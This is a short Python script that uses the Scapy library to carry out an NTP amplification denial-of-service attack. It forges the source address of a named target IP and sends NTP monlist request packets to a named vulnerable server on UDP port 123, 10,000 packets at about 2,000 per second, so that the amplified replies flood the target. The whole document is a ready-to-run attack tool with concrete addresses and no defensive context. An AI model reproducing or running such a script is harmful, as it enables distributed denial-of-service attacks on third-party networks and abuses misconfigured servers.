#!/usr/bin/python3

from scapy import route
from scapy.all import conf as scapyconf
from scapy.all import *

# Disable promiscuous mode
scapyconf.sniff_promisc = 0

vuln_srv = '213.255.227.87'
target = '185.167.97.130'

data = b'\x17\x00\x03\x2a\x00\x00\x00\x00'

p = IP(dst=vuln_srv,src=target)/UDP(sport=random.randint(2000,65535),dport=123)/Raw(load=data)

#print(p.show())
#print(p.command())
#sendpfast(p)

#sendpfast(p, pps=10000, loop=1000)
#sendp(p, count=10000, inter=1./20)  # 20 packets per second
sendp(p, count=10000, inter=1./2000)  # 2000 packets per second
